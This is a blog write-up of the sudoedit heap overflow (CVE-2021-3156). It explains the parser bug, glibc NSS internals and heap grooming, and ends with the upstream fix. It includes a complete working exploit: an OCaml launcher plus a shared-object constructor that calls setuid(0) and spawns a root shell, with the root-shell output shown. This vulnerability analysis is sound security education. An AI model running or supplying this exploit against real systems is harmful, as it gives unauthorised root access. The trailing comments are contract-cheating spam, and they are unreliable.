Sudoedit heap overflow

Jayden Rivers
@Awarau1


Introduction


On January 27th 2021 Qualys released a report on a bug they had found in the commonly used Unix utility: sudo. The bug had been present in sudo for nearly 10 years. Their report, which can be found here CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog, outlines the root cause and three possible methods of exploitation.

Here, we give a brief overview of the relevant workings of sudo. Then we discuss the vulnerability as well as one possible exploitation method in depth. The details of exploitation will focus on our application of the technique known as “heap grooming” or “heap feng shui”. Lastly, we outline the fix.   

Sudo (utility)

Sudo, or “superuser do”, is a widely used utility which assists people in administrating their Unix systems. Many Unix derived operating systems have sudo packaged by default. 


According to the sudo manual, “sudo allows a permitted user to execute a command as the superuser or another user, as specified by the security policy.” The main use for sudo is to have fine-grained control over which users are able to perform which tasks on a given set of hosts. For example, it allows a superuser to delegate responsibilities to other users without having to share the root password with them. 


There are two main designs realised in sudo: a policy plugin and a timestamp ticket system. The policy system decides which users are permitted to elevate their privileges, for which host, and for which particular commands. These capabilities are outlined by default in the sudoers file and through consulting system databases. Additionally, the ticket system decides the duration for which these privileges are elevated before the next sudo password prompt. 


Sudo achieves temporary elevation of privileges by utilising the Unix setuid permission bit. This allows an executable to be run with the owner’s permissions. Where the owner may not be the same user who runs the executable. Because sudo is owned by root, it is run in the context of root.


When sudo is run, it parses the sudoers policy file to decide whether the current user’s requested command should be executed. It then prompts for the user’s password and forks into a child process whose effective user id allows it to perform the requested commands.

The bug

What is the bug?

The bug is a heap-based buffer overflow. It is possible because of an inconsistency between the conditions which guard the initial metacharacter escaping and concatenation mechanism and the conditions which guard the subsequent unescaping and buffer write mechanism. At its core, the bug could be described as a parser differential error resulting in a heap-based buffer overflow.

What is the input and what are the parsers?


The input is the command line arguments supplied to sudo which need to be processed and potentially run in an elevated context. The parser(s) are found in two functions: parse_args and set_cmnd

The first parser is found in parse_args, logically part of the sudo frontend. 

Take note of the initial guard condition which checks the command mode at line 604.   

 

604     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {

605         char **av, *cmnd = NULL;

606         int ac = 1;

607

608         if (argc != 0) {

609             /* shell -c "command" */

610             char *src, *dst;

611             size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +

612                 strlen(argv[argc - 1]) + 1;

613

614             cmnd = dst = reallocarray(NULL, cmnd_size, 2);

[...]

619

620             for (av = argv; *av != NULL; av++) {

621                 for (src = *av; *src != '\0'; src++) {

622                     /* quote potential meta characters */

623                     if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')

624                         *dst++ = '\\';

625                     *dst++ = *src;

626                 }

627                 *dst++ = ' ';

628             }

629             if (cmnd != dst)

630                 dst--;  /* replace last space with a NUL */

631             *dst = '\0';

632

633             ac += 2; /* -c cmnd */

634         }

635

636         av = reallocarray(NULL, ac + 1, sizeof(char *));


As you can see, the purpose of this code block is to escape potential metacharacters with a backslash. 
The second parser is found in set_cmnd:

935     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

[...]

957             /* Alloc and build up user_args. */

958             for (size = 0, av = NewArgv + 1; *av; av++)

959                 size += strlen(*av) + 1;

960             if (size == 0 || (user_args = malloc(size)) == NULL) {

961                 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));

962                 debug_return_int(NOT_FOUND_ERROR);

963             }

964             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

965                 /*

966                  * When running a command via a shell, the sudo front-end

967                  * escapes potential meta chars.  We unescape non-spaces

968                  * for sudoers matching and logging purposes.

969                  */

970                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {

971                     while (*from) {

972                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))

973                             from++;

974                         *to++ = *from++;

975                     }

976                     *to++ = ' ';

977                 }

978                 *--to = '\0';

979             }


As mentioned in the comment starting at line 965, the purpose of this code is to unescape the non-space characters found in the initially parsed arguments. 


This second parser is necessary because sudo aims at meticulous logging of user activity. This follows from the sudo philosophy of allowing temporary access to superuser capabilities while leaving a clear trail for system admins to see what users are doing with sudo.

But there’s an assumption here: the first parser is a necessary precondition to the second parser. Breaking this assumption leads to a heap-based buffer overflow. To understand how, we first need to prove that there is an inconsistency between the guard conditions of the parse_args parser, and those of the set_cmnd parser. Respectively, 


604     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {


and 


935     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

[...]

964             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {


Say that our aim is to run the set_cmnd parser on data which didn’t flow through the parse_args parser, what conditions would need to be fulfilled?

We know that if either MODE_RUN or MODE_SHELL are false, then the first parser is not run. 

We also know that only one of MODE_RUN, MODE_EDIT, or MODE_CHECK and one of MODE_SHELL or MODE_LOGIN_SHELL need to be true for the second parser to run. 


With this information, there are a few hypothetical ways to break the assumption (that the second parser implies the first parser):


  • MODE_RUN is false, MODE_EDIT or MODE_CHECK is true, and MODE_SHELL or MODE_LOGIN_SHELL is true. 

  • MODE_SHELL is false, MODE_EDIT or MODE_CHECK is true, and MODE_LOGIN_SHELL is true.

  • MODE_RUN and MODE_SHELL are false, MODE_EDIT or MODE_CHECK, and MODE_LOGIN_SHELL is true. 


However, sudo also validates combinations of these flags. For example, it doesn’t make sense to allow both MODE_EDIT and MODE_SHELL to be set at the same time. Ordinarily, MODE_EDIT is set with the “-e” commandline argument to sudo:


363                 case 'e':

364                     if (mode && mode != MODE_EDIT)

365                         usage_excl();

366                     mode = MODE_EDIT;

367                     sudo_settings[ARG_SUDOEDIT].value = "true";

368                     valid_flags = MODE_NONINTERACTIVE;

369                     break;


As shown above, MODE_SHELL is not included as a valid flag at line 368. 
But as detailed in the Qualys report, there is a way to set MODE_EDIT as well as MODE_SHELL without MODE_RUN. 

Say that sudo is invoked through sudoedit, a symlink to sudo which is functionally equivalent to sudo -e

259     /* First, check to see if we were invoked as "sudoedit". */

260     proglen = strlen(progname);

261     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {

262         progname = "sudoedit";

263         mode = MODE_EDIT;

264         sudo_settings[ARG_SUDOEDIT].value = "true";

265     }


Then the mode at 263 is set to MODE_EDIT, but there is no exclusion of MODE_SHELL from the valid flags. If we use: 

sudoedit -s … 

then we are basically invoking sudo as:

sudo -e -s … 

without proper flag validation and without MODE_RUN.


This allows the set_cmnd parser to run on the user arguments, without them having been processed by the parse_args parser. 


This is a logic error. But why does it result in a heap-based buffer overflow? Returning to the buffer write mechanism in set_cmnd:


958             for (size = 0, av = NewArgv + 1; *av; av++)

959                 size += strlen(*av) + 1;

960             if (size == 0 || (user_args = malloc(size)) == NULL) {

[...]

970                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {

971                     while (*from) {

972                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))

973                             from++;

974                         *to++ = *from++;


We can now focus on two important things: 

the user_args buffer whose size is the combined length of the argument strings - and what happens at lines 971-974. The assumption here is that the metacharacters in NewArgv (traversed via from) have already been escaped.

Say that we don’t break the assumption and we give the argument:


BBBB\BB, then parser_args will store this as BBBB\\BB. This means that line 972 will skip the first backslash character, and line 974 will only write the second \ character to the user_args buffer. 


Now say that we do break the assumption and BBB\BB has not been escaped. When this data reaches set_cmnd, then when from[0] is the \ character (and from[1] is not a space), it will be skipped and only ‘BBBBB’ will get written to the user_args buffer. 


This by itself is a minor error, leading to the incorrect logging of commands. But there is a more dangerous use of this error. If we break the assumption and input:


BBBBB\ 


Then what will get written to the buffer when the \ character is skipped? The standard convention is to use a null character to terminate C strings. This means that the string in memory is actually this:


BBBBB\[0] 


where [0] is the null character. So at line 974, the null character is written to the user_args buffer and most importantly, from[0] is now at the next character on the next iteration of the copy. This means that the test at line 971 will be incorrect because from[0] will not be the null character as used to terminate the loop, but will be the next character after the null terminator, continuing the loop beyond the bounds of the buffer. 

 

This results in a heap-based buffer overflow, following from a logic error across two inconsistent conditions which guard the parsing of our inputted data. This naturally leads us to a few questions:


  1. What follows the data in the source buffer, i.e. what data is written beyond the bounds of the user_args buffer? 


x/10s av[ last argument index ] + [ length of argument ]

0x7ffec83bd7eb: "SHELL=/bin/bash"

0x7ffec83bd834: "NAME=fedora33.localdomain"

[...]


As you can see, these are environment variables. So the answer to our question is that the data which will overwrite memory adjacent to user_args are our environment variables. 


  1. What data can we overwrite, i.e. what is in the adjacent regions of memory? 


This is a difficult question to answer because the arrangement of a process’ heap can change based on many different factors. The heap in this sense is not strictly indeterminable but it can be hard to predict exactly which regions of memory will follow which other regions of memory. 


With an overflow, it may also be possible to overwrite inline metadata, taking advantage of the fact that memory allocators such as ptmalloc store their own data adjacent to the client program’s data.

We can make a distinction between application data and heap metadata. Where application data could include things like passwords, file names, objects, and so on and where heap metadata could include size fields, freelist pointers, and decision flags. But in general, it’s a hard task to autonomously decide what is user data and what is heap metadata. And both can influence the control flow of a process. 


Here, we will focus on overwriting application data as for us it was the easiest method to reach code execution. 


  1. How do we turn this into code execution? 


In the Qualys report, a few options were briefly outlined. We chose to overwrite one pointer with a null, partially overwrite the Least Significant Byte of another pointer, and to overwrite a string on the heap which is used to construct the name of a shared object. We were then able to execute our own shared library constructor in the context of sudo. 

Exploiting the bug

Before going into detail about how the bug was exploited, we should learn a few relevant facts about the particular Unix facility sudo uses to check the user’s request against its system capabilities. 

Name Service Switch

Name service switch is an extensible way for C library functions to use name services which access important system admin databases. This enables network-wide configuration.

Some of the databases which name services can access include: aliases, ethers, group, hosts, initgroups, netgroup, networks, passwd, protocols, publickey, rpc, etc.


We are mostly concerned with the group database. This is used by the libc getgrent function which is used by sudo to validate a user’s requested command against its group’s capabilities. If you’re not familiar with Unix groups, they’re basically just sets of users which share common capabilities on a system. Users can belong to multiple groups, allowing for fine-grained as well as general control over which users can access which resources. 


The call graph for when sudo needs to access the group database can help illustrate the above:


main()

policy_check()

sudoers_policy_check()

sudoers_policy_main()

sudoers_lookup() 

set_perms()

runas_setgroups()

runas_getgroups()

sudo_get_gidlist()

sudo_make_gidlist_item() 

sudo_getgrouplist2_v1()

--------------------- GNULibc grgrent() -----------------------

getgrouplist()

internal_getgrouplist()

__GI___nss_database_lookup2() | __nss_lookup_function()

nss_load_library()

Why does sudo use this facility? 


Basically, sudo wants to be sure of a few things: that the user is in the sudoers file and that the user belongs to a group with the capability to do what the user is requesting. But that’s just the sudo side of things. In the C library, this is achieved through getgrent, which is called in sudo_getgrouplist2_v1
as shown here: 

466         setgrent();
467         while ((grp = getgrent()) != NULL) {
468             if (grp->gr_gid == basegid || grp->gr_mem == NULL)
469                 continue;

Now we will look at the implementation of this functionality as it appears in GNULibc 2.32. 

How does libc access the group database?

Say that sudo has called getgrent, the next step is to get the group list from the database. This is done by the below function:


45      static int

46      internal_getgrouplist (const char *user, gid_t group, long int *size,

47                             gid_t **groupsp, long int limit)

[...]

74        if (__nss_initgroups_database == NULL)

75          {

[...]

79                if (__nss_group_database == NULL)

80                  no_more = __nss_database_lookup2 ("group", NULL, "files",

81                                                    &__nss_group_database);


Now in __nss_database_lookup2 the service table is created by nss_parse_file which reads /etc/nsswitch.conf. This only needs to happen once, hence the condition at line 125.  Then a list traversal is performed on the service table to find the entry with the name “group” as passed through the first argument.


125       if (service_table == NULL)

126         /* Read config file.  */

127         service_table = nss_parse_file (_PATH_NSSWITCH_CONF);

128

129       /* Test whether configuration data is available.  */

130       if (service_table != NULL)

[...]

137           for (entry = service_table->entry; entry != NULL; entry = entry->next)

138             if (strcmp (database, entry->name) == 0)

139               *ni = entry->service;


Inspecting memory with GDB, we see that  (name_database *)service_table holds an entries list and a library. 


p *service_table

$3 = {

  entry = 0x55d73a357050,

  library = 0x55d73a35c290

}


If it finds the “group” entry then the value at &__nss_group_database (as passed through the fourth argument) is set to the address of entry’s service_user object. For example:


p *(name_database_entry *)0x55d73a357050

$8 = {

  next = 0x55d73a35baf0,

  service = 0x55d73a35ba30,

  name = 0x55d73a357060 "group"

}


Once __nss_database_lookup2 has initialised __nss_initgroups_database with the relevant entry’s service_user object we call __nss_lookup_function 


94        service_user *nip = __nss_initgroups_database;

95        while (! no_more)

96          {

97            long int prev_start = start;

98

99            initgroups_dyn_function fct = __nss_lookup_function (nip,

100                                                                "initgroups_dyn");


__nss_lookup_function  then calls nss_load_library


447               /* Load the appropriate library.  */

448               if (nss_load_library (ni) != 0)


We will come back to nss_load_library.


From here, we will explore what happens from the perspective of exploiting sudo. But the takeaway in this section is that sudo uses GNULibc to validate the user’s requested commands, and GNULibc uses multiple linked list structures to locate objects which are then used to access the name services. These name services access the relevant database - here that’s the group database. 


The functions mentioned above are applied to various linked lists whose nodes are stored on the heap. In order of containment:


  • service_table is an object representing the deserialized contents of nsswitch.conf 

  • service_table contains an entries linked list

  • each entry has a name and a service, where the services form another linked list of service_user objects. 


We can look at our nsswitch.conf file to find:  


passwd:     sss files systemd

group:      sss files systemd

netgroup:   sss files

automount:  sss files

services:   sss files


This becomes service table, where the left-hand side coloumn becomes the entries list, and where each entry has a row of services. We also have a libraries (handles for shared objects) linked list which we will see again soon. 


So the above description in memory is as follows:


p *database

$15 = {

  entry = 0x5603a9372050,

  library = 0x0

}


p *(*database)->entry

$16 = {

  next = 0x5603a9376af0,

  service = 0x5603a9376a30,

  name = 0x5603a9372060 "group"

}


p *(*(*database)->entry)->service

$17 = {

  next = 0x5603a9376a70,

  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN},

  library = 0x0,

  known = 0x5603a9377250,

  name = 0x5603a9376a60 "sss"

}


But why is this interesting to us? If you look at the name field of the service_user object above, it is “sss”. If we look at the code of nss_load_library, we can see what this is used for:


322       if (ni->library == NULL)

323         {

324           /* This service has not yet been used.  Fetch the service

325              library for it, creating a new one if need be.  If there

326              is no service table from the file, this static variable

327              holds the head of the service_library list made from the

328              default configuration.  */

329           static name_database default_table;

330           ni->library = nss_new_service (service_table ?: &default_table,

331                                          ni->name);

332           if (ni->library == NULL)

333             return -1;

334         }

335

336       if (ni->library->lib_handle == NULL)

337         {

338           /* Load the shared library.  */

339           size_t shlen = (7 + strlen (ni->name) + 3

340                           + strlen (__nss_shlib_revision) + 1);

341           int saved_errno = errno;

342           char shlib_name[shlen];

343

344           /* Construct shared object name.  */

345           __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,

346                                                   "libnss_"),

347                                         ni->name),

348                               ".so"),

349                     __nss_shlib_revision);

350

351           ni->library->lib_handle = __libc_dlopen (shlib_name);


From line 345-347 the name field is used to construct the name of a shared object with the  libnss_XXX.so.* convention. Then at line 351 this shared object is opened (and its constructor executed) through __libc_dlopen.

p shlib_name

$19 = 0x7ffe86db9be0 "libnss_sss.so"


Hypothetically, if we were able to overwrite the name of a service_user object then we could choose which shared object to execute in the above sequence, as the superuser.

 

It should also be noted that we want to enter the block at 322. In other words, if our ni->name
is overwritten, then our ni->library must also be overwritten because the library field comes before the name field. If we can’t overwrite the library field with null bytes, then we will get an early crash on line 336. 

Overwriting an nss service_user object

As we mentioned earlier, the arrangement of the heap can be quite hard to predict. But with some experimentation it becomes easier to control in a reliable way. Here we outline the constraints on our attempt to use the heap overflow to write into the name field of a service_user object. 


  1. The target service_user object must come after the buffer we overflow. 


The bug is a heap overflow, rather than a heap underflow. 


  1. We must be able to write nulls to the library field. 


Looking at the above code paste, we want to enter the block at 322. 

In other words, if our ni->name is overwritten, then our ni->library must also be overwritten because the library field comes before the name field. But if we don’t overwrite it with nulls, then at line 336 we will get a crash. 


  1. The buffer we overflow must come after the service_table object in memory. 


Say that this is our service_table:


p *service_table

$2 = {

  entry = 0x55ba0c7a5050,

  library = 0x55ba0c7aa290

}


x/4gx service_table

0x55ba0c7a5030: 0x000055ba0c7a5050      0x000055ba0c7aa290


We need the heap arranged like this because if this sequence is called before the overflow and then we overwrite the service_table object with bad or null data, we will either crash or never get see our target service_user object used to load the shared object. The entries list will be broken leaving our service_user object unreachable.

So if we want to overwrite application data which is accessed via the entries linked list, we need to be sure that our overflowed buffer comes after the service_table object in memory. 


  1. In order to load our own shared object, the condition at line 336 in the above code block must also be successful. We can see what needs to be achieved by looking at nss_new_service, called before the condition at line 336:


787     static service_library *

788     nss_new_service (name_database *database, const char *name)

789     {

790       service_library **currentp = &database->library;

791

792       while (*currentp != NULL)

793         {

794           if (strcmp ((*currentp)->name, name) == 0)

795             return *currentp;

796           currentp = &(*currentp)->next;

797         }


This means that if we have two contexts: before the overflow and after the overflow, 

and a service_table library which we overwrite is instantiated with a library handle as below:


p **currentp

$8 = {

  name = 0x559b1eeb0a60 "sss",

  lib_handle = 0x559b1eeb12d0,

  next = 0x0

}


Then we have overwriten the name “sss”, but the lib_handle will not be null. The problem with this is that a previously instantiated library handle will get reused for our service_user object, meaning we never get to execute our own shared object. 


In summary: we want our heap memory to look like this:


[ service_table ] 

...

[ user_args ]

...

[ target service_user ] 

...

[ target service_library ] 


But if our user_args allocation and overflow happens only after the service_user objects are first created, doesn’t this mean we can’t overflow into them? 

GNULibc Malloc

A process’ data memory comes in a few types. There’s local, or automatic memory, which uses a function stack to store regions of memory. There’s static memory which remains for the entire process, and there’s manually or dynamically allocated memory.

In the last type, we are concerned with the heap. For our purposes, we use the dynamic memory allocator which comes with GNULibc: ptmalloc. Ptmalloc allows the programmer to have control over individual regions of memory - sometimes called “chunks”. This control includes their size and their state (whether they are freed / available or whether they are currently in use, potentially storing application data). There’s also some additional flags embedded in the headers of these chunks.

The freed state is necessary because once we have allocated a region of memory and after we have decided that we no longer need it - say once the data in it has been processed, then we want to be able to recycle this region of memory in the future, maybe writing different data to it. If not for this, we could run out of heap memory quite quickly, given a sufficiently complex process - known as “memory leaks”.  


Malloc has facilities to accomodate this, often called freelists or bins. These are single or double linked lists which hold freed chunks. These freed chunks are then matched with the size argument in a future allocation request. I.e. if we have chunk A of size 0x40 and a chunk B of size 0x20 and then A is freed, if we then request a ~0x40 sized chunk C in the future, the memory originally used by A will be returned again. Meaning the order in memory will be C, B. 


For our purposes here, all we need to know is that a previously freed chunk, sitting at an “earlier” part of the heap, may be reallocated back to the programmer in the future.

This solves the question asked at the end of the previous section. 

In effect, with enough control over application logic, we are able to put our user_args buffer before the target service_user object in memory, even considering that the user_args buffer is requested at a later point in the process. 


But we don’t just need a way to arrange the heap such that user_args is before service_user, but also that service_table sits before all of them and service_library sits after all of them. 


So how do we actually get this control over the heap? 

Heap Feng Shui

This is a way of using existing application logic to arrange the heap in a controlled way. Our goals here:


  • Allocate and free some chunks of memory early to shape the heap how we want. 

  • Get the user_args buffer to reuse a predefined chunk which sits at the optimal location in memory. 

  • Ensure this chunk is after service_table but before the target service_user and service_library.


We can achieve the first goal easily because we can always allocate and free chunks of our chosen size at the very beginning of sudo’s execution, found in the main function before set_cmnd:


    171     setlocale(LC_ALL, "");

    172     bindtextdomain(PACKAGE_NAME, LOCALEDIR);

    173     textdomain(PACKAGE_NAME);


Essentially, we can use the LC environment variables to shape the heap. If we break in set_cmnd, we see some of the available chunks which user_args could use below


size   address

----------------------------------

0x50 [  1]: 0x55e0a7bd2700 

0x80 [  1]: 0x55e0a7bc09b0 

0xb0 [  1]: 0x55e0a7bc02d0 

0xc0 [  1]: 0x55e0a7bc9a90 

0xd0 [  1]: 0x55e0a7bc2fa0 

0x110         [  1]: 0x55e0a7bd9550 

0x1e0         [  1]: 0x55e0a7bd1510 

0x3b0         [  1]: 0x55e0a7bc30b0


So which one do we choose? It took us a bit of trial and error rather than purely through planning. But our process was as follows:


  1. Break in set_cmnd see where the user_args is.

  2. Break in __nss_database_lookup2 and see where the service_table is.

  3. Break in nss_load_library and see where the service_user linked list nodes are. 


We were able to arrange the heap in such a way that we got the below addresses (where their relative offsets are the same between runs but not their actual addresses due to ASLR). 


[ service_table: 0x55e0a7bbc030 ] ...

[ user_args: 0x55e0a7bc09b0 ] ...

[ service_user: 0x55e0a7bc0a30 ] ...

[ service_library: 0x55e0a7bc1290 ]


This looks good, but as mentioned earlier, when it comes to the service_library we want to overwrite some part of it in order to ensure the below code never returns another service_library.


787     static service_library *

788     nss_new_service (name_database *database, const char *name)

789     {

790       service_library **currentp = &database->library;

791

792       while (*currentp != NULL)

793         {

794           if (strcmp ((*currentp)->name, name) == 0)

795             return *currentp;

796           currentp = &(*currentp)->next;

797         }


To reiterate, this is important because otherwise a new library handle will not be created and our shared object will not get executed. Rather than overwriting the entire service_library object as would be tempting, it is safer to only partially overwrite the name pointer field of this object. We can do this by ending the overflow at the LSB of the name pointer field, as shown below:


x/32gx 0x55e0a7bc1290 - 32

0x55e0a7bc1270: 0x0000000000000000      0x0000000000000000

0x55e0a7bc1280: 0x0000000000000000      0x4242420000000000

0x55e0a7bc1290: 0x000055e0a7bc0a00


p *database->library

$15 = {

  name = 0x55e0a7bc0a00 '0' <repeats 32 times>,

  lib_handle = 0x55e0a7bc12d0,

  next = 0x55e0a7bc19a0

}


This ensures that the nss_new_service list traversal and string compare will not find the correct name and so it will not recycle the library handle of the service_user object we overwrite. Here, we overwrote the name field’s LSB.

But we also used null bytes with our target service_user structure’s library field:


p *ni

$12 = {

  next = 0x0,

  actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},

  library = 0x0,

  known = 0x55e0a7bd7240,

  name = 0x55e0a7bc0a60 "X/X"

}


In fact, the bug allows us to write an arbitrary amount of null bytes via our environment variables. For each environment variable which ends with a backslash, a null byte is written. If you have an array of backslashes:


environment_vars = [

   “\\”, “\\”, “\\”, “\\”,

        “\\”, “\\”, “\\”, “\\”,

“\\”, “\\”, “\\”, “\\”,

“\\”, “\\”, “\\”, “\\”, 

“B”, 

];


This will get written as a block of null bytes in memory. This gives us all the things we need to successfully exploit this vulnerability.

Let’s quickly review the things we can do:


  • We can overflow from a chunk whose start address and size we have influence over

  • We control the contents and size of the data we use to overflow.

  • We can write as many null bytes as we want.

  • We can stop writing to memory with a stopper environment variable, which doesn’t end with a backslash. 

Overview of our exploit

The below exploit is written in OCaml. It is a nice language to read so we use it to illustrate exploitation of sudo:


(* 1.9.4p2 and 1.9.5p1 using GLibc 2.32 

   Tested on fedora33 - magic numbers are

   based on distribution and GLibc version.

*)

let prepenv () =

let lc = String.make 120 '0' in

let env = Array.make (2155) "\\" in


env.(63)   <- "X/X\\";

env.(2153) <- "BBB";

env.(2154) <- "LC_ALL=C.UTF-8@" ^ lc;

env


let prepargs () =

let arga = String.make (0x80 - 0x10) '0' in

let arglist = [

        "sudoedit"; "-u"; "root"; "-s"; arga ^ "\\"

] in


let args = Array.of_list arglist in

args


let env = prepenv ()

let args = prepargs ()

let run = Unix.execve "/usr/local/bin/sudoedit" args env


This exploit does the following:


  1. Create an LC_ALL environment variable such that its heap chunk is allocated and subsequently freed. While we don’t use this same chunk again, through trial and error we discovered that this by itself arranges the heap in the optimal way. 

  2. Prepare an array full of “\\” which get mapped to null bytes in memory. This array is of length 2155, but 2159 is the exact distance between the start of the overflowing environment variables and the LSB of the target service_library->name field. We use the null byte which follows the “BBB” environment variable to achieve this. 

  3. At a calculated offset of 63, we overwrite the name field of our target service_user object. 


Now our service_user object looks like this:


p *ni

$7 = {

  next = 0x0,

actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE},

  library = 0x0,

  known = 0x55d212016240,

  name = 0x55d211fffa60 "X/X"

}


And so after we get a new library with no library handle: 


p *ni->library

$9 = {

  name = 0x55d211fffa60 "X/X",

  lib_handle = 0x0,

  next = 0x0

}


We enter the code block which gets us to code execution:


344           /* Construct shared object name.  */

345           __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,

346                                                   "libnss_"),

347                                         ni->name),

348                               ".so"),

349                     __nss_shlib_revision);

350

351           ni->library->lib_handle = __libc_dlopen (shlib_name);


Where we load our own shared object:


p shlib_name

$11 = 0x7ffc23bc27e0 "libnss_X/X.so"


Of course this requires us to have a subdirectory in the current directory called libnss_X/ which contains a shared object file named X.so.2 with the code:


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

static void __attribute__ ((constructor)) _init(void);


static void

_init(void)

{

        setgid(0);

        setuid(0);

        char *args_execv[] = { 

"bash", NULL 

   };

        execv("/bin/bash", args_execv);

}


With this, we are able to gain code execution. 


user@fedora33 1.9.5p1sudo]$ ./sudoroot

[root@fedora33 1.9.5p1sudo]#


It should be noted that the steps of exploitation will vary between systems and versions. But the general methodology can be reapplied.

The fix

As there are two parts to the bug, there are two main parts to the fix, as far as we can see:


The first part ensures that when invoking sudo through sudoedit, the valid flags are set correctly in parse_args:


    proglen = strlen(progname);

    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {

    progname = "sudoedit";

    mode = MODE_EDIT;

    sudo_settings[ARG_SUDOEDIT].value = "true";

    valid_flags = EDIT_VALID_FLAGS;

    }


Additionally, a check to determine whether we are writing after the null byte is performed in set_cmnd:


            while (*from) {

            if (from[0] == '\\' && from[1] != '\0' &&

                !isspace((unsigned char)from[1])) {

                from++;

            }

Summary

The bug is a heap-based overflow made possible by a parser differential error, in turn made possible by inconsistent guard conditions around the two parsers. Our chosen method of exploitation focuses on loading a shared object through the Name Service Switch facility of GNULibc. Sudo uses this facility to access the group service and database so that it can check a user’s request against the group’s capabilities.

Although nothing new was discussed here, as the method of exploitation was already mentioned by Qualys in their original report, our hope is that you come away with a better understanding of the vulnerability and some small part of GLibc internals. It is also our wish to express the unlikeliness of finding a vulnerability like this given that:

  1. it’s interprocedural (across parse_args and set_cmnd)

  2. at its heart this is a logic error (across two guard conditions)


Both of these facts make such a bug very hard to spot and this is probably why it was present in sudo for nearly 10 years.


Comments

  1. The assignment problem is a fundamental combinatorial optimization problem where the objective is to assign a number of resources to an equal number of activities so get the best assignment writing services from Australia by experts at affordable prices. Get the best programming assignment help and services by professional assignment writers of Australia.
    https://www.newassignmenthelpau.com/

    ReplyDelete
    Replies
    1. There are many reviews and posts where students put up a query like My Assignment Help reviews?It is indeed a very risky thing to hire an assignment writing service for your academic paper. Before choosing any of the services, it is important for the students to judge its credibility. However, holding a wrong notion about a good service is not an intellectual thing to do. Moreover, you will remain deprived of good service if you do not come out of this notion.

      Read My Assignment Help Review

      So, here is the answer to all that queries. Read more to know the reality. MyAssignmenthelp.com is not a new assignment writing service in the market. If you check its reviews on My Assignment Help,you will get to know that the company has been serving the help seekers for almost a decade now.

      If you are confused check Best Essay Writing Services

      Different reviews have been evaluated and it has been found that students are keener to choose MyAssignmenthelp.com over any other service. The reasons why MyAssignmenthelp is not fake, readàMyassignmenthelp!


      They have a proper website: - When you Google by typing MyAssignmenthelp.com you can see there are end numbers of results. One is their home page and others are the service pages that they have. You can visit the website and check for their services and other features. Many reviewers in Myassignmenthelp Reviewhave mentioned that MyAssignmenthelp has the best website that is easy to navigate.


      They have approximately 4500+ expert writers: - In their website, it is clearly mentioned that MyAssignmenthelp.com has more than 4500 expert writers. These writers are all from various fields of academics. From the reviews on myassignmenthelpreview.com, it has been found that most of the experts are subject oriented professors and are brilliant academic advisors.

      Myassignmenthelp review

      They are available 24 hours: - The biggest proof that My assignment help are not fake is the replies to all the queries genuinely. You can mail them, call them or chat with them; they are available for 24 hours. Many students commented that they are satisfied with the experience due to the prompt response from the customer care team.

      They are affordable with best quality:- People who have hired them know how good their service is. MyAssignmenthelp.com has received 4.9 rating out of 5 by the students. This is only because of the exceptional quality they maintain with their service. Moreover, when you get such an excellent service at a budget-friendly rate, how can you not avail it?

      Thus, when there are end number reasons to believe that MyAssignmenthelp is not fake,and then choose them to experience the quality of their work.

      Summary:- This article discusses about the query of many students like whether MyAssignmenthelp.com exists or not. The reality is shown here.

      Delete
  2. The heap is a kind of data structure for storing and sorting an accurate data. While heap overflow may define by its name, it happens when data is located to heap and written to its memory. I have read all this in my course computer science dissertation UK by our professional teachers.

    ReplyDelete
  3. Ron Thomson is an experienced content writer with a passion for assignment writing help . He is a passionate content marketer with years of experience in writing, he makes the best use of his skills and knowledge to express ideas in his write-ups. We offer global assignment help to students all across the globe. You just need to choose your writer from a team of experts and let your essay assignment done on-time. Get 24X7 help online. It's time you should look for help from a dependable online specialist organization. We are sure that you will always receive the best math assignment, quadratic equation solver  from us.

    ReplyDelete
  4. We are no 1 assignment writing service provider in the world and especially in Australia. Please connect with us: Phone: +61-2 9191 7405, E-mail: sales@no1assignmenthelp.com, Website: assignment help, Office: Level 4/22 Harry Chan Avenue, Darwin City NT 0800, Australia

    ReplyDelete
  5. What will happen if I want to overlay one variable to another one and how I can do this? I am trying to do this all day but my every try gone fail. Should I use Research Paper Writing Services to get this job done?

    ReplyDelete
  6. We are most popular to prepare cdr report for your career in Australian engieneering service sector. Please click the link : CDR Report. We are the best choice for the CDR Report Generation. We are the top CDR Report generator. If you are worried about how to write your CDR, Just call us.We will solve it in minutes.Visit: CDR Report Engineers Australia Contact: Email-briansymbian25@gmail.com, Tel:- +61-2 9191 7405, Address:- 37 Bligh Street, Sydney, NSW 2000, Australia

    Please click the links that follow below to get CDR report. We are the best choice for the CDR Report Generation.
    CDR Report Writing Services
    CDR Career Episode Report Writing
    CDR Writing Tips
    Australia CDR Sample Free Download

    ReplyDelete
  7. Excellent post! I appreciate your effort to share the knowledge. I was searching for a website for a long time where I can get appropriate information. Thanks for sharing.

    Also, I am a CDR Writers Australia. If anyone need for CDR For Australia Immigration for successful visa migration approval in Australia, then visit our website CDRAustralia.Org and connect our team of experts to consult.
